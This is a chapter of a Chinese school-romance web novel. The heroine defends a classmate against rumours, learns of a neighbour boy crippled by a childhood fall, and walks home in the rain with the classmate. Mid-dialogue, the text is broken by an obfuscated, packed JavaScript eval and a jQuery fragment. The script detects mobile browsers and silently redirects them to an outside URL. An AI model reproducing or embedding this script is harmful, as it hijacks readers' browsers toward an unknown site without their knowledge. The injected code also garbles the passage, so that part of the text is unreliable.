18. 第 18 章

作品:《薄荷甜柠[暗恋]

    周六下午,英语角活动三点半开始。


    约莫两点半那会,宁若出门前整理书包,将要完成的周末作业和背诵单子都放进去,等会英语角活动结束,她就可以从学校直接回翡翠湖苑的家。


    拿起手机,她点开看一眼,没有新消息,就直接将手机塞进书包里侧的小袋子里。


    活动现场人头攒动,一开始照例以单词接龙作热身,跟着是分组进行句子接龙,设定主题后,一人一句,连成一个完整的故事。


    休息间隙,宁若所在的那个小组有人带了笔记本电脑,打开来在那看,一堆人都凑到那台电脑旁边。


    宁若坐在桌边,听他们谈论最近哪个大明星拍了新的杂志封面,发型很怪异幸亏有颜值撑住,又说起职业男篮新来了一个球员超级帅,于是,好多人整个新赛季都在追球赛看。


    然后,就有人提议上贴吧,瞧瞧最近的榆阳一中校内又有什么爆炸性的消息。


    “初中部那谁,上周不是整了个票选校草校花的贴,我昨儿晚上看,都有好几百回帖了呢。”


    “我也看到啦,我还投票了。”


    “我也投啦,我投给咱们学生会会长秦希曜。”


    “啊?原来你喜欢那款标准的好学生啊?”


    “怎么?你不喜欢吗?”


    “还行.......吧,但我更中意那种有点高冷的成绩又好的哈哈,就比如说科技校队队长许斯筵那样的。”


    高冷?


    宁若的目光在桌面上停留几秒,心想,他们说的许斯筵和她认识的是同一个人吗?


    “哎哟我去,快看,”忽然有人喊道,“许斯筵以863票遥遥领先,超过第二名的秦希曜300多票啦。”


    “嗐,有什么好惊讶的,许斯筵就是长得帅啊,你应该这么说,怎么才领先第二名300多票。”


    “校花第一名是蜜芫哦,当之无愧的,但是好可惜哦,感觉她和准校草好登对的。”


    “对啦,都在传许斯筵为了蜜芫退出竞赛这事,到底是不是真的啊?”


    “不是吧,不是说他因为在集训队里面排名垫底,迫于压力才退出的吗?”


    “欸?你们从哪里听说的啊,我明明听人讲的是.......................”


    短短时间内,数个同学口中分别给出了7,8个版本,都是关于许斯筵退赛原因的传言,众说纷纭,每个人讲述起来都言之灼灼,仿佛自个听到的那个版本才是最接近真实的真相来着。


    看来,许斯筵确实没瞎讲,坐在一旁的宁若寻思,这也传得太离谱了吧,就这么任着旁人误会,她都有些替他着急。


    宁若明面上保持沉默,心里却无法平静。


    这时,一道冷嘲热讽的声音从身后传来,“依我看啊,每种情况应该都参杂一些,说到底,还是能力不足,其实吧,我觉得他退赛是明智的,这是认清自己的实力做出的决定......”


    是岳弋骜在说话,宁若抵在桌面的指关节用力到发白,下一秒......


    “不关能力实力的问题。”宁若站起来,面朝那个发表言论的男同学,神情严肃。


    “哦?”岳弋骜淡笑着瞥她一眼,“许斯筵自个告诉你的啊?”


    “那么请问......你和他又是什么关系?”


    这要换做从前,宁若肯定会毫不犹豫地撇清,可这回,似乎有股什么力量在背后支撑着她。


    让她忽然觉得旁人的目光也没那么可怕。


    “普通朋友,”宁若淡定地答道,目光坚定而澄澈,“是因为学业和职业规划的问题有冲突,许斯筵想要学医。”


    宁若看向岳弋骜,“还有什么问题吗?”


    岳弋骜挂在唇边的嘲笑已经荡然无存,余下只有冷漠的表情,“没问题。”他冷冷地说。


    “许斯筵想学医的话,可能和小学时候的那件事有关。”坐在一张长桌对面的周溪溪,突然蹙着眉心这样说。


    “周溪溪,你到底知道些什么就说出来,别在这儿卖关子行不行。”于洋右手臂上的石膏还没拆,大咧咧搁桌上晃荡着,说起话来还是那么欠揍。


    “你,唉,算了,说就说。”周溪溪欲言又止,打从于洋为了帮她拿魔棒从树上掉下来摔断手之后,周溪溪的脾气收敛许多。


    大半个英语角社团的人围过来,没围上来的也在自个的位置上竖起耳朵听着。


    周溪溪清了清嗓子,“事情经过是这样的,许斯筵从小学开始就是人缘特好,去哪都前呼后拥的那种人,他们经常放学的时候一大群小孩就去许斯筵家里玩,他妈妈特别手巧会做各种点心,小孩儿们一进家门,他妈就会去张罗吃的,然后,他爸就是大教授特别忙经常不着家,所以,许妈妈一进厨房,他们那群人就属于无人看管状态,玩打仗玩探险,整间屋子跑来跑去跳上跳下的,受伤是经常有的事儿,那天他们家隔壁邻居一个男孩叫做向季,刚上小学一年级的,也来他们家串门,当时,许斯筵他们几个高年级同学在玩一个叫做寻宝的游戏,指定一样东西,可能被放在屋子里的任何一个地方,先找到的人就算获胜,男孩个子小小的,好奇心很重,也跟着哥哥们寻宝,结果,他不知道怎么的,居然翻到了窗台的栏杆外边,一脚踏空就摔下楼去......“


    “嘶——”


    “天啊......”


    人群中有人发出唏嘘之音,周溪溪深呼吸拍拍胸口,拿水杯喝了口水,才继续往下说:“当时,所有人都吓坏啦,许家那会没有大人在,许妈妈大概是外出买东西去了,跟着,一群小孩一股脑儿全冲楼下去,看到向季面朝下趴在地上,没有一个人敢过去,只有许斯筵走过去,趴在地上,看向季的脸,地上一滩血,脸都变紫了,这时候,就有人喊大家一块把向季扛去医院,许斯筵让他们都别动,他跑出小区喊了大人来报警叫救护车......“


    “溪溪,那后来呢,小孩救没救回来啊?”有人着急地问。


    周溪溪又喝了口水,顺口气,才说:“没事,救回来啦,从五楼掉下来,被楼下树杈给托了一下,但是腿摔瘸了,这一辈子都只能依靠拐杖行动。”


    “啊?终身残疾啊?好惨。”


    “不过能捡回条命,也算是万幸。”


    “那么许斯筵学医,是想帮助这个叫做向季的男孩?”有人问周溪溪。


    “我觉得吧,”周溪溪舔舔嘴唇,“应该是有所关联的,许斯筵一家和向季一家关系非常好,这个弟弟是他看着长大的,小时候大人没空都是他在帮忙带小孩。”


    听到这,人群中有人发出疑问,他说:“欸?周溪溪,你怎么知道得这么清楚,你和许斯筵是亲戚啊?”


    周溪溪朝那人看过去,指着自个说:“因为,我就住那栋楼啊,其实,从咱们学校就可以看到向季的家,呐,学校对面那几栋高楼,靠右手边那栋,每天最早亮灯那户......就是他们家.....”


    话音刚落,“啪”一声,一本英文杂志从宁若手中落到地面上,她弯腰捡起来。


    听到动静,身旁的人扫过来一眼,没发现异常,又转头去和相熟的人说悄悄话。


    宁若微颤的长睫遮住眼中的惊惧,攥住杂志两端的指尖冰凉冰凉的。


    学校对面那几栋高楼,每天最早亮灯那户,就是向季的家?


    那个住在明净的大房子里,被家人的爱包围着的小男孩,终身残疾?


    真相竟是如此残酷?


    从骨子里生出的战栗感蔓延到全身,她忽然感到害怕。


    宁若想起来,妈妈从小跟她说,她从没见过面的爸爸是个了不得的人物,宁若问妈妈,爸爸什么时候能回家,妈妈就是不肯多说,还让她要保守秘密。


    渐渐长大,她发现家里连一张父亲的照片都没有,结合认知,宁若心中隐约觉得,她的父亲一定是在某个遥远的地方辛勤忙碌地工作着,爸爸现在工作很忙,未来的某一天他会带着好多礼物回来看她的,心中存着这样的寄望,宁若并不觉得自己比别人缺少一些什么。


    但是这一刻,她心中的信念突然不再那么坚不可摧。


    事实上,从她得知自己有一个新爸爸的那天,心底筑起的城墙就已经出现裂痕。


    --


    期末考结束的那个傍晚,天空下起滂沱大雨。


    脚上穿着雨鞋,一脚深一脚浅地,雨点汇成灰褐色的水流不断往两边下水道淌落去,又有雨水源源不断补充进来,整个世界灰灰沉沉,女孩们之间的聊天却五彩纷呈,闪烁着晶晶亮的光芒。


    眼看快到三岔路口,何鸢在那感慨,“裳裳,咱俩得明年开学才能再一起走这条路啦。“


    宁若微微一笑:”是啊,你过年会留在榆阳还是回老家?“


    何鸢转了转眼珠子,“可能会先来一趟家庭旅游,正月的时候再回老家。“


    “噢,那挺好的。”


    “你呢,寒假打算怎么过?”


    “和家里人一起吧,过年可能会走走亲戚之类的。”


    “噢,那也不错。”


    “嗯。”


    到了路口,原本两人要分道扬镳的,何鸢继续留原地等家里的大人来接,宁若则会去车站搭车。


    道别的时刻,何鸢忽然拉住宁若手臂,“和我一起等我家车子过来,我让我爸顺道送你回家。”


    “不用了啦,不顺路。”


    宁若想推辞,何鸢在她耳边说悄悄话,“我爸到京市出差,车上带了些礼物,你要有喜欢的我就送你。”


    迎着何鸢热情洋溢的目光,宁若脚步微顿,不知为何,她忽然非常强列地想体会一回,“爸爸”拿礼物朝自己走过来的那一幕。


    她说:“何鸢,我可以陪你一块等,但是礼物你还是自己留着吧,那是你爸爸送给你的。”


    “哎,没事啦真的,他每回出差回来都给我带礼物,我用不完的都送人啦,反正待会你也挑一个。”


    宁若没再说话,只是抿着唇对她笑了笑。


    约莫等了7,8分钟光景,一辆深蓝色轿车转弯进入辅道,放缓速度徐徐朝宁若她们这边驶过来,车轮子经过路面激起一排排水花。


    何鸢拉着宁若往后走两步,说:“小心,别被水溅到裤脚啦。”


    车子停稳,从驾驶座走下来一个西装革履的中年男人,身材魁梧,面容敦厚,眼睛鼻子简直就是何鸢的翻版,笑起来连唇边自信从容的弧度都一模一样。


    “爸爸!”何鸢迎上去,钻进男人撑着的雨伞底下。


    “鸢鸢啊,期末考考得怎样啊?”父亲帮何鸢提书包。


    何鸢挥挥手,“还行吧还行吧。”


    “哎哟,我女儿可真棒!说吧,晚上想去哪家餐厅吃,爸爸请客。”


    “爸爸,这是我同学宁若,之前跟你说过的我们班的大学霸!”何鸢朝宁若招招手,“过来呀过来。”


    宁若突然就有点紧张起来,走上前两步,礼貌地说了声,“叔叔好。”


    “哎,若若是吧,经常听鸢鸢说起你,来来来,叔叔送你一个小礼物。”


    何鸢爸爸从口袋里掏出一个花花绿绿的包装袋,宁若连忙伸手接过来,看了眼上面文字,是一袋京市本地的特色点心,“谢谢叔叔。”


    “太客气啦。”


    何鸢撒娇道:“爸爸,咱们先送若若回家行吗?她家住在翡翠湖苑。”


    何父笑答:“行啊,没问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442299|184251||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    题,上车吧。”


    宁若赶紧摆摆手,“不用麻烦,我自己回去就行。”


    何鸢:“啊?不一块走吗?”


    宁若笑着摇摇头,推辞道:“我还想去学校旁边的书店买些学习用品。”


    “这样啊,那行,你自己看着点路啊,拜拜若若,明年见。”


    “拜拜何鸢,明年见。”


    目送何鸢父女俩坐上小轿车,视线中,轿车乘着水花很快往远处驶离。


    宁若转身,朝相反的方向走。


    她垂着脑袋看自己跟前的路面,一手撑伞,一手攥着那袋点心,唇边的弧度慢慢消失。


    雨点像一根根银针,冰冷尖锐,敲打在地面,也敲打在她心间。


    身上厚厚的校服棉服抵御不了这天寒地冻见缝就钻的寒气,宁若抬手将拉链拉到最顶端,将冻僵的脸蛋藏进领子里一些,却还是感觉不到暖和,仿佛连心窝窝的地方都失去了温度。


    脚下忽然打一个滑,宁若的身体晃了下,手上那袋点心脱手落到地面,看着很快被雨点打湿的包装袋,宁若的心情也在这一刻降到冰点。


    视线里,出现一双被浇得湿透的白色球鞋,一骨节分明的大手出现在她视野里,拾起地上那袋点心。


    宁若打起一点精神,抬眼从雨伞里面望出去,少年撑伞站在雨中的姿态利落笔挺,容颜清绝,一双眸子黑得发亮,单肩挎着书包,一手拿那沾了雨水的袋子在自个的黑色外套上擦了下才递过来,他感叹地说:“怎么就这么让人不省心呢?“


    “谢谢,”宁若接过点心,视线撞上他带着笑意的眸光,失神半秒,才问道,”许斯筵?你怎么会在这儿?”高三年不是已经考完试放假了吗?


    “我返校领复习资料的。”


    “哦......那还,挺巧的。”宁若低着头,绕过他往车站方向走。


    许斯筵挑眉,抬腿跟上她脚步,“不开心?数学压轴题没做完?哪种题型,我给你讲讲?“


    “踩着铃声做完了。”


    “挺好的,这不就有开心的理由了?你怎么还......闷闷不乐的。”


    宁若闷声往前走,半晌才开口道:“正常人也不会一直笑嘻嘻的吧,你又为什么总是这么开心呢?”


    “因为......”他笑起来露出一点虎牙尖,显得挺得瑟,“人逢喜事精神爽。”


    喜事?


    宁若缓缓地眨了一下眼睛,想起什么,她说:“哦知道了,恭喜你荣登榆阳一中校草票选第一名。”


    猝不及防,许斯筵的嘴角抽了下,“怎么,你也会说冷笑话?”


    宁若不由狐疑,不是因为票选校草的事?


    “那我就不知道了。”淡紫色雨鞋踩过地上的小水坑,发出啪嗒啪嗒声响。


    “给你个提示。”


    “......”


    他顿了下,补充道,“普通朋友。”


    宁若的脚步一下顿住,抬眼与他对视,“你说的是......英语角那事?“


    “嗯听说,你帮我洗刷冤屈了,没想到你还挺仗义的。”


    是这件事啊,收回视线,宁若说:“那有什么,跟你做过的事比起来......”


    “我做过的事?”许斯筵眸光闪动,问道,“什么事?“


    宁若迟疑不答,许斯筵开玩笑地揶揄她:“就比如,借给你笔记本,让你逢考必过如有神助?”


    “......”


    “许斯筵。”


    “嗯?”


    “你学医是为了什么?”


    “......为什么,这样问?“


    宁若看着他双眼,“是不是因为,那个男孩,本应该可以和同龄人一样,蹦蹦跳跳地去上学?你是不是想帮他站起来?”


    目光陡然凝滞,许斯筵难得的语噎,“我......你是在说,关于向季的事?”


    宁若郑重点点头,语气略显迫切,“所以,你真觉得靠自己的力量是可以,改变一些什么?”


    许斯筵垂眸沉默几秒,然后,他低着头显得落寞,否认道:“我不能够。”


    “为什么?”


    “因为做不到,“他抬眸看对街匆匆驶过的车流,面色是宁若从未见过的苍凉,“现实很残酷,我看着向向做了好多次手术,一次次抱着希望而去,却又......一次次希望落空。


    “可你还是退出竞赛,选择学医?”


    “是的,因为掌握救人的能力很酷,虽然无能为力的事情很多,但至少可以提升幸存者的生活品质。”


    宁若的思绪很乱,像是急于想从许斯筵这里得到一些她想得到的认可,来消弭心底不断涌起的不安和那股令人难受的悲凉,却没想到表面那么不可一世意气风发的他也曾经有过至暗的时刻。


    “所以,有些希望永远都只能是海市蜃楼,“宁若垂下的眼睫毛遮住渐渐暗下来的眸光,声音呢喃着,像在自言自语,“看着美好其实到最后只能是一场空,对吗?”


    “你这话......不是在说向向?你想表达的是什么?”感到一丝不对,许斯筵侧头看向宁若。


    宁若像没听到他的声音似的,满腹心事地蹙眉,撑着伞径直往对边的车站走。


    一辆小车疾驶而来,许斯筵抓住宁若手腕,将她扯到自己身边,自己的肩头却被车辆后视镜蹭了下。


    “有没有伤到哪里?”


    宁若的额头靠在许斯筵的肩头,想问他的手臂疼不疼,听到被雨洗刷过显得格外清晰的声音从头顶传来,“你没事就好。”


    他呼吸的气息温暖地拂过宁若的发梢,安慰道:“希望肯定会有的,只要我们都不放弃,前提是,你要好好的知道吗?”